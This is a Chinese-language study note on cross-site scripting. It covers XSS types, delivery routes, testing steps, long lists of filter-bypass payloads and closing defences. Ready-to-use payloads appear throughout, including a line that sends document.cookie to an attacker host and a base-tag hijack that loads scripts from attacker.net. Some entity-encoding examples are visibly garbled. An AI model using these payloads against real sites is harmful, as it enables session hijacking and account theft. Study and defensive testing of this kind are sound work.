一、分类:
(1)反射型
URL中的参数可以插入javascript,用户访问时反射如
http://mdsec.net/erro/5/Error.ashx?message=<script>alert(1)</script>
<script>var i=new Image; i.src="http://attacker.net/"+document.cookie;</script>
(2)存储型
也叫二阶XSS,即注入后,只需等等正常用户访问被注入的常规页面即可。
(3)DOM型
更类似于反射型XSS,但是在利用方面还是有区别。
二、XSS攻击的有效载荷
(1)虚拟置换
在站点中注入HTML标记,或者使用脚本在站点中注入精心设计的内容和导航,实际上并没有修改目标WEb服务器的内容
(2)注入木马
在应用程序中注入实际运行的功能。旨在欺骗终端用户执行某种有害操作,随后将它们传送给攻击者。
(3)诱使用户执行操作
(4)利用信任关系
截获以前输入的、浏览器保存在自动完成缓存中的数据;或者一些WEB应用要求加入 浏览器的”可信站点“
三、XSS攻击的传送机制
1、 传送反射型与DOM型
(1)向目标发送伪造的电子邮件,里面有URL
(2)即时消息中向目标提供一个URL
(3)第三方站点生成触发XSS的请求
(4)横幅广告
(5)推荐或反馈功能
2、传送存储型XSS
带内传送:
(1)个人信息字段
(2)文档、上传文件和其他数据的名称
(3)提交给管理员的反馈或问题
(4)向其他 应用程序用户的消息、注释、问题
(5)记录在应用程序日志中,并通过浏览器显示给管理员的任何内容
(6)用户之间共享的上传文件内容
带外传送:
通过其他渠道向应用程序提交漏洞数据的情况。
3、与其他攻击结合
四、查找并利用XSS漏洞
如果过滤了<script>标签,可以用:
"><script >alert(document.cookie)</script > ——scrpit后加空格
"><ScRipt >alert(document.cookie)</ScRipt > ——大小写
"%3e%3cscript>alert(document.cookie)%3c/script%3e ——URL编码
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt> ——复写标签
%00">"><script>alert(document.cookie)</script> ——先添加截断字符
1、查找并利用反射型XSS漏洞
(1)确认用户输入的反射
a. 选择任意一个字符串,该 字符串不曾出现在应用程序的任何地方,而其中仅包含字母字符,提交给每一个参数
b. 记下参数值被复制到应用程序响应中的每一个参数
c. 测试所有GET与POST请求
d. 一旦在POST请求中发现XSS,在Burp中更改请求方法为GET请求实施相同的攻击
e. 检测HTTP消息 头内容被应用程序处理的每一种情况,有一种XSS漏洞出现 在错误消息中,Referer与User-Agent消息 头之类的数据项被复制到消息的内容中,可以在消息头中注入XSS以让应用程序在错误消息中解析
(2)测试引入脚本的反射
a. 标签属性值:
举例:<imput type="text" name="address1" value="myxsstestdmqlwp">
攻击:"><script>alert(1)</script> ——闭合标签并添加script
" onfocus="alert(1) ——包含JS事件处理器
b. JS字符串:
举例: <script> var a='myxsstestdmqlwp'; var b=123; ...</script>
攻击: '; alert(1); var foo=' ——直接在script脚本中闭合与注入
// ——结束输入,将剩下的脚本当做注释处理
c. 包含URL的特性:
举例: <a href="myxsstestdmqlwp">Click here ...</a>
攻击: javascript:alert(1);
#"onclick="javascript:alert(1)
PS: 对请求中的任何特殊字符进行URL编码。
(3)探查防御性过滤
主要有3种可能的过滤情况:
a. 应用程序或WAF发现一个攻击签名,完全阻止了输入
b. 应用程序接受了输入,但对攻击字符串进行了某种净化或编码
c. 应用程序把攻击字符串截短至某个固定的最大长度
针对以上三种分别阐述
(4)避开基于签名的过滤
脚本标签:
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click here </a>
事件处理器:
<xml onreadystatechange=alert(1)>
<style onreadystatechange=alert(1)>
<iframe onreadystatechange=alert(1)>
<object onerror=alert(1)>
<object type=image src=valid.gif onreadystatechange=alert(1)></object>
<img type=image src=valid.gif onreadystatechange=alert(1)>
<input type=image src=valid.gif onreadystatechange=alert(1)>
<isindex type=image src=valid.gif onreadystatechange=alert(1)>
<script onreadystatechange=alert(1)>
<bgsound onpropertychange=alert(1)>
<body onbeforeactivate=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
HTML5中:
<input autofocus onfocus=alert(1)>
<input onblur=alert(1) autofocus><input autofocus>
<body onscroll=alert(1)><br><br>...<br><input autofocus>
</a onmousemove=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
脚本伪协议:
<object data=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
HTML5中的伪协议:
<form id=test /><button form=test formaction=javascript:alert(1)>
<event-source src=javascript:alert(1)> ——有时候会绕过很多过滤器,因为有个连字符
动态求值的样式:
IE7及以前版本支持:<x style=x:expression(alert(1))>
在最新版本的IE中支持:<x style=behavior:url(#default#time2) onbegin=alert(1)>
对HTML请求进行模糊处理:
<iMg onerror=alert(1) src=a>
<[%00]img onerror=alert(1) src=a>
<i[%00]mg onerror=alert(1) src=a>
base标签劫持:<base>标签用于指定一个URL,浏览器应使用该URL解析随后在页面中出现的任何相对URL。
<base href="http://attacker.net/badscripts/">
...
<script src="badscript.js"></script>
标签名称后的空格:
一些字符可用于替代标签名称与第一个属性名称之间的空格,即使在实施攻击中不需要任何标签属性,应始终在标签名称后添加一 些多余的内容。
<img/onerror=alert(1) src=a>
<img[%09]onerror=alert(1) src=a>
<img[%0d]onerror=alert(1) src=a>
<img[%0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>
<img/'onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(1) src=a>
<script/anyjunk>alert(1)</script>
属性名称:
<img o[%00]nerror=alert(1) src=a>
属性分隔符:
<img onerror="alert(1)"src=a>
<img onerror='alert(1)'src=a>
<img onerror=`alert(1)`src=a> (IE)
<img src=`a`onerror=alert(1)>
<img/onerror="alert(1)"src=a>——无任何空格
属性值:
<img onerror=a[%00]lert(1) src=a>
<img onerror=alert(1) src=a> ——HTML实体编码,x6c对应ASCII的字母“l” (&#ASCII码;)
<iframe src=javascript:alert(1) >
可以接受变体:多余的前导0,省略结尾的分号等,如下:
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=a&108ert(1) src=a>
<img onerror=alert(1) src=a>
标签括号:
%253cimg%20onerror=alert(1)%20src=a%253e ——符号经过二次URL编码
某些应用程序框架将基于字形和发音的相似性,将不常见的Unicode字符“转换”为它们最接近的ASCII字符
《img onerror=alert(1) src=a》 (这里的《》不是汉语的尖括号,而是Uniode双角符号%u00AB和%u00BB)
某些可以使用多余的括号:<<script>alert(1);//<</script>
<script<{alert(1)}/></script>
PS: Firefox中的WebDeveloper工具有用。
字符集:
使用<script>alert(document.cookie)</script>的非标准编码方法,如UTF-7,US-ASCII,UTF-16,前提是得控制浏览器所需的字符集来解释响应。如果可以控制HTTP Content-Type消息头或其对应的HTML元标签,就可以使用非标准字符集避开应用程序的过滤,使浏览器按照需要的方式解释有效载荷。
书中还举了一个使用多字节字符集Shift-JIS的例子,可以参考(P340)
避开脚本代码的过滤:
a. 使用JS转义
<script>a\u006cert(1);</script>
<script>eval('a\u006cert(1)');</script> ——Unicode转义
<script>eval('a\x6cert(1)');</script> ——十六进制转义
<script>eval('a\154ert(1)');</script> ——八进制转义
<script>eval('a\1\ert'(1\)');</script> ——多余转义字符被忽略
b. 动态构建字符串:
<script>eval('al'+'ert(1)');</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>
<script>eval(atob('base64编码'));</script> ——atob函数进行Base64解码
c. 替代eval方法
<script>'alert(1)'.replace(/.+/,eval)</script>
<script>function::['alert'](1)<script>
d. 替代圆点
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>
e. 组合多种技巧
<img onerror=eval('al\u0065rt(1)') src=a>
——对字母e进行了unicode转义,并对反斜线进行了HTML 实体编码
f. 使用VBScript (IE)
<script language=vbs>MsgBox 1</script>
<img onerror="vbs:MsgBox 1" src=a>
<img onerror=MsgBox+1 language=vbs src=a>
VBScript不区分大小写
g. 组合Javascript和VBScript
<script>execScript("MsgBox 1","vbscript");</script>
<script language=vbs>execScript("alert(1)")</script>
<script>execScript('execScript "alert(1)","javascript" ',"vbscript");</script>
<SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE("ALERT(1)")) </SCRIPT>
<IMG ONERROR="VBS:EXECSCRIPT LCASE('ALERT(1)')" SRC=A>
h. IE上可以利用微软的定制脚本编码算法隐藏脚本内容,老的工具srcenc,编码后示例如下:
(5)绕过净化措施:
a. 复写<script>
<script><script>alert(1)</script>
<scr<script>ipt>alert(1)</script>
b. 如果过滤对输入进行了多个净化步骤,测试是否可以利用这些步骤之间的顺序或相互关系
如先递归删除<script>再删除<object>可以用以下绕过
<scr<object>ipt>alert(1)</script>
c. 核实反斜线本身是否被转义
如var a = 'foo'; 应用程序对单引号进行转义但是如果没有对反斜线做转义的话
注入foo\';alert(1);//
应用程序处理后得到var a ='foo\\';alert(1);//';
如果反斜线被正确转义,但尖括号却按原样返回,则可以注入:
</script><script>alert(1)</script>,应用程序处理后变为:<script>var a='</script><script>alert(1)</script>
浏览器优先解析HTML标签,导致第一个script结束,虽然会报错,但是会继续执行第二个script标签。
d. 如果注入的脚本在事件处理程序之内,可以对引号进行HTML编码
如<a href="#" onclick="var a = 'foo';... 并且正确转义了引号和反斜线,则可以通过注入:
foo';alert(1);// ('是单引号的HTML编码 )
变为<a href="#" onclick="var a = 'foo';alert(1);//';...
一般建议对用户输入进行HTML编码来防范XSS攻击,应注意以下事实,在作为JS执行之前,事件处理器会被HTML解码,即如果是作为事件处理器,会先解码,再执行,所以此种情况下HTML编码的处理可能无效。
(6)突破长度限制
方法一:使用28B的open("//a/"+document.cookie),使用30B的<script src=http://a></script>或使用http://dean.edwards.name/packer/的JS packer尽可能压缩长度
方法二:将攻击载荷分布到几个不同的位置
示例:https://xx.com/account.php?page_id=244&seed=100002&mode=normal,它返回一个包含以下内容的页面:
<input type="hidden" name="page_id" value="244">
<input type="hidden" name="seed" value="100002">
<input type="hidden" name="mode" value="normal">
构造攻击载荷如下:
https://xx.com/account.php?page_id="><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>
返回的结果变为:
<input type="hidden" name="page_id" value=""><script>/*">
<input type="hidden" name="seed" value="*/alert(document.cookie);/*">
<input type="hidden" name="mode" value="*/</script>">
/* */是注释 符,中间的语句被注释 掉了,拼成了完整的JS脚本
方法三:将反射型转换为“DOM型”XSS
注入45B的脚本 <script>eval(location.hash.slice(1))</script>
http://xx.net/error/5/Error.ashx?message=<script>eval(unescape(location))</script>#%0Aalert('scirpts here...')
——整个URL经过URL解码,然后传递给eval命令,整个URL作为有效的JS执行,http://中的//被作为单行注释,最后的%0A经过URL解码后是换行符,结束注释,然后执行了alert()函数。
五、实施有效的XSS攻击:
(1)将攻击扩展到其他应用程序页面
使用<ifame>
HTML5中可以用window.history.pushState()函数
(2)修改请求方法
(3)通过cookie利用
(4)通过Referer消息头
(5)通过非标准请求和内容
XML/JSON/序列化等
a. 传送跨域XML请求
使用HTML表单将enctype属性设置为text/plain可以在HTTP请求主体中跨域传送几乎任何数据。这将告诉浏览器按以下方式处理表单参数:在请求中隔行传送每个参数;使用等号分隔每个参数的名称 和值;不对参数名称和值做任何URL编码
b. 从XML响应中执行JS
如果响应中包含错误的或不包含Content-Type,或者输入在响应主体的开始部分就已反射,就可以让浏览器处理时执行脚本。可以使用XML标记定义一个映射为XHTML的新命名空间,并使浏览器将该命名空间解析为HTML。
举例:
HTTP/1.1 200 OK
Content-Type:text/xml
Content-Length:1098
<xml>
<data>
...
<a xmlns:a='http://www.w3.org/1999/xhtml'>
<a:body onload='alert(1)'/></a>
...
</data>
</xml>
(6)攻击浏览器XSS过滤器
2. 查找并利用存储型XSS
与反射型有很多相似也有一些区别。
渗透测试步骤:
a. 在每一个可能位置提交特殊的字符串后,必须反复检查应用程序的全部内容与功能,因为这个数据可能在不同的位置使用,而且 可能具有不同的保护性过滤策略
b. 如有可能,检查管理员能够访问的所有应用程序区域,确定是否存在任何可被非管理用户控制的数据,如管理员可以在浏览器中浏览器日志功能
c. 在向每个位置提交一个测试字符串时,并不总是把它作为每个页面的每一个参数这样简单,有的是需要很多步骤的,必须确保每次测试彻底完成
d. 探查反射型时应注意请求的每个方面,如所有参数和HTTP消息 头,探查存储型时还应该分析应用程序用于接收并处理可控输入的任何带外通道。
e. 探查允许文件上传与下载的地方
f. 其他会保存数据的地方,如搜索列表
其他技巧:
(1)在WEB邮件中测试XSS
使用sendmail -t test@xxx.org < email.txt,其中test@xxx.org为自己注册的邮箱地址,email.txt的内容可能如下:
MIME-version:1.0
From:test@xxx.org
Content-Type:text/html;charset=us-ascii
Content-Transfer-Encoding:7bit
Subject:XSS test
<html>
<body>
<img src=``onerror=alert(1)>
</body>
</html>
.
(2)在上传文件中测试 XSS
a. Content-Type 为image/jpeg时,一些浏览器仍会接受<script>alert(1)</script>
可以调整Content-Type为其他格式进行XSS注入
b. 混合文件攻击
GIFAR文件,GIF+JAR,前半段是正常的GIF,后半段是JAR,使用GIFAR文件攻击步骤:
发现上传点并可由其他用户下载;构建包含JAVA恶意程序的GIFAR文件;将该 文件作为他的头像上传;攻击 者确定可利用该 文件实施攻击的外部站点(自己的或第三方);在这个外部站点上,攻击者使用<applet>和<object>标签从被攻击站点以java applet的形式上传GIFAR文件;如果用户访问该 外部站点,java applet将在其浏览器中执行。在遇到java applet时,同源策略的执行方式会有所不同,java applet将被视为属于加载它的域而不是调用它的域,所以这个applet会被执行。
同理,可用其他形式的混合文件
c. 通过 Ajax上传的文件测试XSS
上传一个包含嵌入式HTML标记的有效图像文件,可以嵌入到图像的各种位置,包括 注释部分,图像可能显示为乱码,但是HTML将正常显示。
3、查找并利用基于DOM的XSS
用浏览器手动浏览应用程序,并修改每一个URL参数,在其中插入一个标准测试字符串:
"<script>alert(1)</script>
";alert(1)//
'-alert(1)-'
工具DOMTracer——现在叫DOMscan(www.blueinfy.com/tools.html)
检查每一段客户端JS,看其中是否出现以下API,它们可用于访问通过一个专门设计的URL控制的DOM数据:
document.location; document.URL; document.URLUnencoded; document.referrer; window.location
检查并测试控制的数据被传送至以下任何一个API的情况:
document.write(); document.writeln(); document.body.innerHtml; eval(); window.execScript(); window.setInterval(); window.setTimeout()
a. 如果服务器根据每个参数而不是整个URL应用确认机制,那么可以将有效载荷插入到附加在易受攻击的参数后面的一个虚构的参数中:http://xxx.net/erro.ashx?message=Sorry%2c+an+error+occured&foo=<script>alert(1)</script>
虚拟的参数被服务器忽略,因此不会受到任何过滤,但是客户端脚本提取message=后的内容
b. 如果服务器对整个URL而不仅仅是消息参数应用确认机制,可以用:
http://xxx.net/erro.ashx?message=Sorry%2c+an+error+occured#<script>alert(1)</script>
六、防御XSS
1. 防御反射型与存储型
(1)确认输入
a. 数据不是太长
b. 数据仅包含某组合法字符
c. 数据与一个特殊的正规表达式相匹配
(2)确认输出(更为重要)
HTML编码,常见的符号编码有:
"——"
'——'
&——&
<——<
>——>
%——%
*——*
:——:
如<img src="javascript:alert(document.cookie)">
<img src="image.gif" onload="alert('xss')">
(3)消除危险的插入点
应用程序应在它的响应消息头中明确指定一种编码类型,禁止对它进行任何形式的修改,并确保应用程序的XSS过滤与其兼容。
(4)允许有限的HTML
白名单 限制允许的HTML标签。
但是一些无害的标签也可能造成攻击,如:
<b style=behavior:url(#default#time2) onbegin=alert(1)>
<i onclick=alert(1)>Click here </i>
<a href="data:text/html;base64,xxxxxx==">Click here </a>
2、防御DOM型
(1)确认输入
客户端确认比服务器端确认更有效,限制查询字符串中只有一个参数;参数名区分大小写;参数值仅包含字母和数字;客户端解析了参数的值,确保其中不包含任何URL片断字符
(2)确认输出
HTML编码